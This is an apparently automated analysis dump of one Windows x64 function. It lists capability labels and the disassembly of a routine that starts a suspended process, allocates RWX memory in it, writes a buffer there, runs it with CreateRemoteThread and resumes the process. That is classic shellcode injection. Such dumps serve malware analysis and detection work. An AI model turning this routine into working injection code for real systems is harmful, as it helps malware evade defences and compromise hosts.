Function at 0x140001470
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x148
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xd0]
call fcn.140035d90
mov dword [rsp + 0xd0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140035d90
mov rcx, qword [rsp + 0x160]
call fcn.14000bb10
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000156c
lea rdx, str.Failed_to_start_process._Error:
lea rcx, [0x14004a8e0]
call fcn.1400020c0
mov qword [rsp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
mov edx, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x88]
call fcn.1400078f0
mov qword [rsp + 0x90], rax
lea rdx, [0x140005380]
mov rcx, qword [rsp + 0x90]
call fcn.1400078c0
xor al, al
jmp 0x140001813
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, qword [rsp + 0x158]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140001618
lea rdx, str.Memory_allocation_failed._Error:
lea rcx, [0x14004a7c0]
call fcn.140001d10
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x74], eax
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x98]
call fcn.140007690
mov qword [rsp + 0xa0], rax
lea rdx, [0x140005320]
mov rcx, qword [rsp + 0xa0]
call fcn.1400078c0
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140001813
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x158]
mov r8, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400016de
lea rdx, str.Failed_to_write_process_memory._Error:
lea rcx, [0x14004a7c0]
call fcn.140001d10
mov qword [rsp + 0xa8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x78], eax
mov edx, dword [rsp + 0x78]
mov rcx, qword [rsp + 0xa8]
call fcn.140007690
mov qword [rsp + 0xb0], rax
lea rdx, [0x140005320]
mov rcx, qword [rsp + 0xb0]
call fcn.1400078c0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140001813
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x1400017b6
lea rdx, str.Failed_to_create_remote_thread._Error:
lea rcx, [0x14004a7c0]
call fcn.140001d10
mov qword [rsp + 0xb8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x7c], eax
mov edx, dword [rsp + 0x7c]
mov rcx, qword [rsp + 0xb8]
call fcn.140007690
mov qword [rsp + 0xc0], rax
lea rdx, [0x140005320]
mov rcx, qword [rsp + 0xc0]
call fcn.1400078c0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140001813
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x148
ret